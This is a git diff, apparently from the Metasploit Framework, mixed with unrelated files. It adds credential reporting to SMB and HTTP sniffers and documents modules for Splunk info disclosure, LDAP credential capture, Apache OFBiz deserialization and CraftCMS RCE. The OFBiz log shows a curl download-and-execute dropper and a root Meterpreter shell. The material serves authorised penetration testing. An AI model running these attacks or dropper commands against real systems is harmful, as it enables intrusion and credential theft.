s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
|
||||
|
||||
|
||||
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||
|
||||
s[:user] = names[0]
|
||||
@@ -145,8 +145,8 @@ class SnifferSMB < BaseProtocolParser
|
||||
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
|
||||
#do not output anonymous/guest logging
|
||||
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
|
||||
#set lmhash to a default value if not provided
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
|
||||
#set lmhash to a default value if not provided
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
|
||||
|
||||
smb_status = payload[9,4].unpack("V")[0]
|
||||
@@ -157,29 +157,29 @@ class SnifferSMB < BaseProtocolParser
|
||||
logmessage =
|
||||
"#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
|
||||
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
|
||||
"SERVER CHALLENGE:#{s[:challenge]} " +
|
||||
"\nLMHASH:#{s[:lmhash]} " +
|
||||
"SERVER CHALLENGE:#{s[:challenge]} " +
|
||||
"\nLMHASH:#{s[:lmhash]} " +
|
||||
"\nNTHASH:#{s[:ntlmhash]}\n"
|
||||
print_status(logmessage)
|
||||
|
||||
src_ip = s[:client_host]
|
||||
dst_ip = s[:host]
|
||||
# know this is ugly , last code added :-/
|
||||
smb_db_type_hash = case ntlm_ver
|
||||
when "NTLMv1" then "smb_netv1_hash"
|
||||
when "NTLM2_SESSION" then "smb_netv1_hash"
|
||||
when "NTLMv2" then "smb_netv2_hash"
|
||||
when "NTLMv1" then "netntlm"
|
||||
when "NTLM2_SESSION" then "netntlm"
|
||||
when "NTLMv2" then "netntlmv2"
|
||||
end
|
||||
# DB reporting
|
||||
report_auth_info(
|
||||
:host => dst_ip,
|
||||
:port => 445,
|
||||
:sname => 'smb',
|
||||
report_cred(
|
||||
:ip => dst_ip,
|
||||
:port => s[:port],
|
||||
:service_name => 'smb',
|
||||
:user => s[:user],
|
||||
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
|
||||
:type => smb_db_type_hash,
|
||||
:password => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
|
||||
:type => :nonreplayable_hash,
|
||||
:jtr_format => smb_db_type_hash,
|
||||
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
|
||||
:active => true
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
|
||||
report_note(
|
||||
|
||||
@@ -44,7 +44,16 @@ class SnifferURL < BaseProtocolParser
|
||||
end
|
||||
if s[:basic_auth]
|
||||
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
|
||||
report_auth_info s
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => 'http',
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Session: #{s[:session]} Basic Auth: #{s[:basic_auth]}",
|
||||
:status => Metasploit::Model::Login::Status::UNTRIED
|
||||
)
|
||||
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
|
||||
end
|
||||
when nil
|
||||
|
||||
@@ -0,0 +1,188 @@
|
||||
[
|
||||
{
|
||||
"name": "v0.7.1",
|
||||
"commit": {
|
||||
"sha": "56fa824510d8a35b08e3b42bf6625c846e2ed5a0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.7.0",
|
||||
"commit": {
|
||||
"sha": "fdd9ad94c11d44259ef26bf4b2dc9a8bd139f607"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.2",
|
||||
"commit": {
|
||||
"sha": "b0c367cac7211117e88a55517396764036ac0552"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.1",
|
||||
"commit": {
|
||||
"sha": "ef0dacb0c36a1a180ef8fda670c82854658aab00"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.0",
|
||||
"commit": {
|
||||
"sha": "e72f6d6d5dd078df2d270cc48a4087588443f89a"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.5.0",
|
||||
"commit": {
|
||||
"sha": "027d9b4653e2f3ea13d4de6a0b2bd568106ffb40"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.4.0",
|
||||
"commit": {
|
||||
"sha": "521ba0cb2f63110eb2ed13a7054a4d70238a862a"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.3",
|
||||
"commit": {
|
||||
"sha": "38c4cf7dd9275294348bab903be9dc12eafe37dd"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.2",
|
||||
"commit": {
|
||||
"sha": "9d9d31a6694ab1fc12da20ea18fa5a778ce5a631"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.1",
|
||||
"commit": {
|
||||
"sha": "e75c251013845f1921ea75c24b44fd7164ee398d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.0",
|
||||
"commit": {
|
||||
"sha": "9606d7ee5ab3b8056b4a69610ae79b7b473d779d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.2.1",
|
||||
"commit": {
|
||||
"sha": "da29a200cd8ec46da709e0523787479ac6fb274b"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.2.0",
|
||||
"commit": {
|
||||
"sha": "2e345f6f6caeb3495f6454bfaa5a10bf50639411"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.1.0",
|
||||
"commit": {
|
||||
"sha": "1869a7f0a85ceaa707ea25866da98a3ac5a0667e"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.10",
|
||||
"commit": {
|
||||
"sha": "f08970c1d8910091a392d26b51db33b5c99a0f81"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.9",
|
||||
"commit": {
|
||||
"sha": "f98abfb79dc2c437f1b6cb5f534da560c85c5406"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.8",
|
||||
"commit": {
|
||||
"sha": "222cf2c65189c97877491c7bcc6fc14982ce65d7"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.7",
|
||||
"commit": {
|
||||
"sha": "2a743a5bf4b27a6cc9cb857bd178c2e724d98821"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.6",
|
||||
"commit": {
|
||||
"sha": "f6253b6bfaa249236ac1b4f0505f4b7af8f89116"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.5",
|
||||
"commit": {
|
||||
"sha": "abae56b3d0d2383d0351280213236cd988fd6d28"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.4",
|
||||
"commit": {
|
||||
"sha": "4190d76f2fefb65cb898f6c648e932b2c1a5fba3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.3",
|
||||
"commit": {
|
||||
"sha": "8057dc123f23f6da9752d712edeb5e7e490b648c"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.2",
|
||||
"commit": {
|
||||
"sha": "f5bb336a75351379dad289b73a85f6ebf8ff5498"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.1",
|
||||
"commit": {
|
||||
"sha": "ed08f278f95dca46e58e24a13923939d268eedd3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.7.1",
|
||||
"commit": {
|
||||
"sha": "c998e17e8322a867c02ef4cdf577aa33c2d3a81e"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.7.0",
|
||||
"commit": {
|
||||
"sha": "78cc4dd981a89b26006fea0984f1305bc663281f"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.2",
|
||||
"commit": {
|
||||
"sha": "838fb604d569dae18a1a7a85ef28ed2c125df986"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.1",
|
||||
"commit": {
|
||||
"sha": "4a1e987a1d2a958119ab5c936d4b1d82125e14d9"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.0",
|
||||
"commit": {
|
||||
"sha": "f2a2574ddc8bbe20776071569935922c3593d5e7"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.5.4",
|
||||
"commit": {
|
||||
"sha": "334ba3df99dfc84385faace167f6410c8ce0be91"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.5.3",
|
||||
"commit": {
|
||||
"sha": "cbb166026d8c6360836def9bf9c208313023961c"
|
||||
}
|
||||
}
|
||||
]
|
||||
@@ -88,6 +88,7 @@ strtab:
|
||||
db 0
|
||||
db 0
|
||||
strtabsz equ $ - strtab
|
||||
|
||||
align 16
|
||||
global _start
|
||||
_start:
|
||||
|
||||
|
||||
Binary file not shown.
@@ -60,3 +60,4 @@ paid-memberships-pro
|
||||
woocommerce-payments
|
||||
file-manager-advanced-shortcode
|
||||
royal-elementor-addons
|
||||
backup-backup
|
||||
|
||||
+6183
-857
File diff suppressed because it is too large
Load Diff
@@ -29,7 +29,7 @@ All of the above features can also be logically separated within workspaces. By
|
||||
|
||||
## Using msfdb
|
||||
|
||||
Using msfdb is simple. If you are starting the database for the first time navigate to the folder Metasploit is saved to, and run `./msfdb init`.
|
||||
Using msfdb is simple. If you are starting the database for the first time navigate to the folder Metasploit is saved to, and run `./msfdb init`
|
||||
```
|
||||
Creating database at /Users/your_current_account_name/.msf4/db
|
||||
Starting database at /Users/your_current_account_name/.msf4/db...success
|
||||
@@ -39,9 +39,14 @@ Starting database at /Users/your_current_account_name/.msf4/db...success
|
||||
Creating initial database schema
|
||||
```
|
||||
|
||||
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information.
|
||||
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information. If you start up msfconsole now it should automatically connect to the database, and if you run `db_status` you should see something like this:
|
||||
|
||||
msfdb then needs to establish the credentials that are used in the Web Service. The Web Service is how Metasploit connects to the database we have just created. The first prompt asks you what username you want to use to connect to the database.
|
||||
```
|
||||
msf6 > db_status
|
||||
[*] Connected to msf. Connection type: postgresql.
|
||||
```
|
||||
|
||||
You can also setup a Web Service, which Metasploit can use to connect to the database you have just created. Msfdb needs to establish the credentials that are used in the Web Service. If you run `msfdb --component webservice init` the first prompt asks you what username you want to use to connect to the database:
|
||||
|
||||
```
|
||||
[?] Initial MSF web service account username? [your_current_account_name]:
|
||||
|
||||
@@ -8,7 +8,7 @@ There are two main ports for SMB:
|
||||
- 445/TCP - Newer versions of SMB use this port, were NetBIOS is not used.
|
||||
|
||||
Other terminology to be aware of:
|
||||
- SMB - Serer Message Blocks
|
||||
- SMB - Server Message Blocks
|
||||
- CIFS - Common Internet File System
|
||||
- Samba - A free software re-implementation of SMB, which is frequently found on unix-like systems
|
||||
|
||||
|
||||
@@ -20,3 +20,13 @@ run session=-1
|
||||
run session=-1 win_transfer=POWERSHELL
|
||||
run session=-1 win_transfer=VBS
|
||||
```
|
||||
|
||||
If you want to upgrade your shell with fine control over what payload, use the `PAYLOAD_OVERRIDE`, `PLATFORM_OVERRIDE`, and on windows, `PSH_ARCH_OVERRIDE`. All 3 options are required to set an override on windows, and the first two options are required on other platforms, unless you are not using an override.
|
||||
|
||||
```
|
||||
use multi/manage/shell_to_meterpreter
|
||||
set SESSION 1
|
||||
set PAYLOAD_OVERRIDE windows/meterpreter/reverse_tcp
|
||||
set PLATFORM_OVERRIDE windows
|
||||
set PSH_ARCH_OVERRIDE x64
|
||||
```
|
||||
|
||||
@@ -24,7 +24,9 @@ The latest OS X installer package can also be downloaded directly here: <https:/
|
||||
|
||||
## Installing Metasploit on Windows
|
||||
|
||||
Download the [latest Windows installer](https://windows.metasploit.com/metasploitframework-latest.msi) or [view older builds](https://windows.metasploit.com/). To install, simply download the .msi package, adjust your Antivirus as-needed to ignore c:\metasploit-framework, double-click and enjoy. The msfconsole command and all related tools will be added to the system %PATH% environment variable.
|
||||
Download the [latest Windows installer](https://windows.metasploit.com/metasploitframework-latest.msi) or [view older builds](https://windows.metasploit.com/).
|
||||
To install, download the `.msi` package, adjust your Antivirus as-needed to ignore `c:\metasploit-framework` and execute the installer by right-clicking the installer file and selecting "Run as Administrator".
|
||||
The msfconsole command and all related tools will be added to the system `%PATH%` environment variable.
|
||||
|
||||
### Windows Anti-virus software flags the contents of these packages!
|
||||
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Splunk versions 6.2.3 through 7.0.1 allows information disclosure by appending
|
||||
`/__raw/services/server/info/server-info?output_mode=json` to a query.
|
||||
|
||||
Versisons 6.6.0 through 7.0.1 require authentication.
|
||||
|
||||
### Docker Install
|
||||
|
||||
#### Splunk 6.5.5
|
||||
|
||||
A vulnerable version of Splunk can be installed locally with docker:
|
||||
|
||||
`docker run -p 8000:8000 -e "SPLUNK_PASSWORD=splunk" -e "SPLUNK_START_ARGS=--accept-license" -it --name so1 splunk/splunk:6.5.5`
|
||||
|
||||
#### Splunk 7.1.0
|
||||
|
||||
At startup it'll ask for a password for the system. You may need to login via the website and accept a license and restart
|
||||
the service (via website) for the instance to be exploitable. Splunk can be started via docker with:
|
||||
|
||||
`docker run -p 8000:8000 -e "SPLUNK_START_ARGS=--accept-license" -it --name so2 splunk/splunk:7.1.0`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/gather/splunk_raw_server_info`
|
||||
1. Do: `SET RHOSTS [IP]`
|
||||
1. You should receive output about the Splunk version and roles, license status, including license key info, and OS information.
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Splunk 6.5.5
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/splunk_raw_server_info
|
||||
msf6 auxiliary(gather/splunk_raw_server_info) > exploit
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[+] Output saved to ~/.msf4/loot/20231220130955_default_127.0.0.1_splunk.system.st_442957.bin
|
||||
[+] Hostname: 3c7b9beb6c3c
|
||||
[+] CPU Architecture: x86_64
|
||||
[+] Operating System: Linux
|
||||
[+] OS Build: #1 SMP PREEMPT_DYNAMIC Debian 6.5.3-1kali2 (2023-10-03)
|
||||
[+] OS Version: 6.5.0-kali2-amd64
|
||||
[+] Splunk Version: 6.5.5
|
||||
[+] Trial Version?: true
|
||||
[+] Splunk Forwarder?: false
|
||||
[+] Splunk Product Type: enterprise
|
||||
[+] License State: EXPIRED
|
||||
[+] License Key(s): []
|
||||
[+] Splunk Server Roles: ["indexer", "license_master"]
|
||||
[+] Splunk Server Startup Time: 2023-12-19 20:56:13
|
||||
```
|
||||
|
||||
### Splunk 7.1.0
|
||||
|
||||
```
|
||||
[msf](Jobs:0 Agents:0) > use auxiliary/gather/splunk_raw_server_info
|
||||
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set username admin
|
||||
username => admin
|
||||
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set password splunksplunk
|
||||
password => splunksplunk
|
||||
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set verbose true
|
||||
verbose => true
|
||||
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[+] Output saved to /root/.msf4/loot/20231220204049_default_127.0.0.1_splunk.system.st_943292.json
|
||||
[+] Hostname: 523a845e8652
|
||||
[+] CPU Architecture: x86_64
|
||||
[+] Operating System: Linux
|
||||
[+] OS Build: #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09)
|
||||
[+] OS Version: 6.5.0-kali3-amd64
|
||||
[+] Splunk Version: 7.1.0
|
||||
[+] Trial Version?: false
|
||||
[+] Splunk Forwarder?: false
|
||||
[+] Splunk Product Type: splunk
|
||||
[+] License State: OK
|
||||
[+] License Key(s): ["FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"]
|
||||
[+] Splunk Server Roles: ["indexer", "license_master"]
|
||||
[+] Splunk Server Startup Time: 2023-12-21 01:40:02
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,52 @@
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module emulates an LDAP Server which accepts User Bind Request to capture the User Credentials.
|
||||
Upon receiving successful Bind Request, a `ldap_bind: Authentication method not supported (7)` error is sent to the User
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use auxiliary/server/capture/ldap`
|
||||
3. Do: `run`
|
||||
4. From a new shell or workstation, perform a ldap bind request involving User credentials.
|
||||
5. Check the database using `creds` for the user authentication information.
|
||||
|
||||
## Options
|
||||
|
||||
**Authentication**
|
||||
|
||||
The type of LDAP authentication to capture. The default type is `Simple`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Metasploit Server
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/server/capture/ldap
|
||||
msf6 auxiliary(server/capture/ldap) > run
|
||||
|
||||
[*] Server started.
|
||||
[+] LDAP Login attempt => From:10.0.2.15:48198 Username:User Password:Pass
|
||||
```
|
||||
|
||||
### Client
|
||||
|
||||
```
|
||||
└─$ ldapsearch -LLL -H ldap://10.0.2.15 -D cn=User,dc=example,dc=com -W
|
||||
Enter LDAP Password:
|
||||
ldap_bind: Auth Method Not Supported (7)
|
||||
additional info: Auth Method Not Supported
|
||||
```
|
||||
|
||||
**Database**
|
||||
|
||||
```
|
||||
msf6 auxiliary(server/capture/ldap) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
10.0.2.15 10.0.2.15 389/tcp (ldap) User Pass example.com Password
|
||||
```
|
||||
@@ -4,14 +4,25 @@
|
||||
|
||||
This module exploits a Java deserialization vulnerability in Apache
|
||||
OFBiz's unauthenticated XML-RPC endpoint `/webtools/control/xmlrpc` for
|
||||
versions prior to 17.12.04.
|
||||
versions prior to 17.12.01 using the `ROME` gadget chain.
|
||||
|
||||
Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467
|
||||
and use the `CommonsBeanutils1` gadget chain.
|
||||
|
||||
Verified working on 18.12.09, 17.12.01, and 15.12
|
||||
|
||||
### Setup
|
||||
|
||||
#### 15.12
|
||||
|
||||
You can use <https://hub.docker.com/r/opensourceknight/ofbiz>.
|
||||
|
||||
1. Initialize the database with demo data (`INIT_DB=2`) and bind to ports 8080 and 8443
|
||||
* `docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 opensourceknight/ofbiz:15.12`
|
||||
* `docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 opensourceknight/ofbiz:15.12`
|
||||
|
||||
#### 18.12.09
|
||||
|
||||
`docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 vulhub/ofbiz:18.12.09`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@@ -27,9 +38,11 @@ This executes a Unix command.
|
||||
|
||||
This uses a Linux dropper to execute code.
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Apache OFBiz from [Docker](#setup).
|
||||
### Apache OFBiz from [Docker](#setup) 15.12.
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/apache_ofbiz_deserialization
|
||||
@@ -101,3 +114,50 @@ BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Apache OFBiz from [Docker](#setup) 18.12.09.
|
||||
|
||||
```
|
||||
[msf](Jobs:0 Agents:0) > use exploit/linux/http/apache_ofbiz_deserialization
|
||||
[*] Using configured payload linux/x64/meterpreter_reverse_https
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set ssl false
|
||||
[!] Changing the SSL option's value may require changing RPORT!
|
||||
ssl => false
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set rport 8080
|
||||
rport => 8080
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set srvport 8999
|
||||
srvport => 8999
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set lport 9999
|
||||
lport => 9999
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set lhost 172.17.0.1
|
||||
lhost => 172.17.0.1
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > exploit
|
||||
|
||||
[*] Started HTTPS reverse handler on https://172.17.0.1:9999
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Apache OFBiz detected
|
||||
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_https
|
||||
[*] Using URL: http://172.17.0.1:8999/t8Ht92vyG
|
||||
[*] Client 172.17.0.2 (curl/7.74.0) requested /t8Ht92vyG
|
||||
[*] Sending payload to 172.17.0.2 (curl/7.74.0)
|
||||
[+] Successfully executed command: curl -so /tmp/ccOiSBWw http://172.17.0.1:8999/t8Ht92vyG;chmod +x /tmp/ccOiSBWw;/tmp/ccOiSBWw;rm -f /tmp/ccOiSBWw
|
||||
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwc954AkmwDFJGPdMCAemNwEhbK9MZE1sbFjd87crw4EoQ8IRya-nD4j7s9vkiPXENKkm6Hai6rTX1l6MxXV with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0'
|
||||
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwBlG7PmcChFTs3mrZWe19ux0Ge4-K3sXMWLGzskiOvEJN9O34cT2vhArtS36BI-SM8HDCBKggdyux0 with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0'
|
||||
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwS1jEDX4_Jx7YDDvUtpywgCk with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0'
|
||||
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Attaching orphaned/stageless session...
|
||||
[*] Command Stager progress - 100.00% done (112/112 bytes)
|
||||
[*] Meterpreter session 1 opened (172.17.0.1:9999 -> 172.17.0.2:47500) at 2024-01-16 20:04:06 -0500
|
||||
[*] Server stopped.
|
||||
|
||||
(Meterpreter 1)(/usr/src/apache-ofbiz) > getuid
|
||||
Server username: root
|
||||
(Meterpreter 1)(/usr/src/apache-ofbiz) > sysinfo
|
||||
Computer : 172.17.0.2
|
||||
OS : Debian 11.4 (Linux 6.5.0-kali3-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
(Meterpreter 1)(/usr/src/apache-ofbiz) >
|
||||
```
|
||||
@@ -0,0 +1,231 @@
|
||||
## Vulnerable Application
|
||||
This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in CraftCMS which is a popular content management system.
|
||||
CraftCMS versions between `4.0.0-RC1` - `4.4.14` are affected by this vulnerability allowing attackers to execute arbitrary code remotely,
|
||||
potentially compromising the security and integrity of the application.
|
||||
|
||||
The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class which allows to run arbitrary
|
||||
PHP code by escalating the object creation calling some methods available in `\GuzzleHttp\Psr7\FnStream`.
|
||||
Using this vulnerability in combination with `The Imagick Extension` and `MSL` which stands for `Magick Scripting Language`,
|
||||
a full RCE can be achieved. `MSL` is a built-in `ImageMagick` language that facilitates the reading of images, performance of
|
||||
image processing tasks, and writing of results back to the filesystem. This can be leveraged to create a dummy image containing malicious
|
||||
PHP code using the `Imagick` constructor class delivering a webshell that can be accessed by the attacker, thereby executing the malicious
|
||||
PHP code and gaining access to the system.
|
||||
Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain access to the underlying operating
|
||||
system as the user that the web services are running as (typically `www-data`).
|
||||
|
||||
## Installation
|
||||
To test this module, you will need a vulnerable CraftCMS application.
|
||||
|
||||
This module has been tested on:
|
||||
- [ ] `CraftCMS 4.4.14` running on MacOS Docker Desktop based on a `DDEV` deployment.
|
||||
|
||||
### Installation steps to install CraftCMS on MacOS using Desktop Docker and DDEV
|
||||
* Install [Docker Desktop](https://ddev.readthedocs.io/en/stable/users/install/docker-installation/#macos) on your MacOS distribution.
|
||||
* Install [DDEV](https://ddev.readthedocs.io/en/stable/users/install/ddev-installation/).
|
||||
* Install CraftCMS following these [installation steps](https://craftcms.com/docs/getting-started-tutorial/install/).
|
||||
* NOTE: After step 2 `Scaffold the project from the official starter project`, open composer.json to edit the CraftCMS version and
|
||||
* set it to `4.4.14` or lower.
|
||||
* Run `composer update` to downgrade the `CraftCMS` version to a vulnerable version.
|
||||
* See also these [instructions](https://craftcms.com/knowledge-base/downloading-previous-craft-versions).
|
||||
|
||||
* Continue with step 3 and after completion, you should be able to access your application using your site name (https://mysite.ddev.site)
|
||||
* To access your application from another host, you need to setup a tunnel otherwise you can only access it from the local machine.
|
||||
* You can follow these [instructions](https://stackoverflow.com/questions/53371087/access-ddev-web-container-from-other-hosts).
|
||||
|
||||
You are now ready to test the module.
|
||||
|
||||
## Verification Steps
|
||||
- [x] Start `msfconsole`
|
||||
- [x] `use exploit/linux/http/craftcms_unauth_rce_cve_2023_41892`
|
||||
- [x] `set rhosts <ip-target>`
|
||||
- [x] `set rport 443`
|
||||
- [x] `set lhost <ip-attacker>`
|
||||
- [x] `set target <0=php, 1=Unix Command, 2=Linux Dropper>`
|
||||
- [x] `exploit`
|
||||
|
||||
you should get a `shell` or `Meterpreter`
|
||||
|
||||
|
||||
```shell
|
||||
msf6 exploit(linux/http/craftcms_unauth_rce_cve_2023_41892) > info
|
||||
|
||||
Name: Craft CMS unauthenticated Remote Code Execution (RCE)
|
||||
Module: exploit/linux/http/craftcms_unauth_rce_cve_2023_41892
|
||||
Platform: Unix, Linux, PHP
|
||||
Arch: cmd, php, x64, x86
|
||||
Privileged: No
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Excellent
|
||||
Disclosed: 2023-09-13
|
||||
|
||||
Provided by:
|
||||
chybeta
|
||||
h00die-gr3y <h00die.gr3y@gmail.com>
|
||||
|
||||
Module side effects:
|
||||
artifacts-on-disk
|
||||
ioc-in-logs
|
||||
|
||||
Module stability:
|
||||
crash-safe
|
||||
|
||||
Module reliability:
|
||||
repeatable-session
|
||||
|
||||
Available targets:
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 PHP
|
||||
1 Unix Command
|
||||
2 Linux Dropper
|
||||
|
||||
Check supported:
|
||||
Yes
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.ht
|
||||
ml
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes Craft CMS base url
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
WEBSHELL no The name of the webshell with extension .php. Webshell name will be randomly generated if left unset
|
||||
.
|
||||
|
||||
|
||||
When TARGET is not 0:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec)
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.
|
||||
0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
Payload information:
|
||||
|
||||
Description:
|
||||
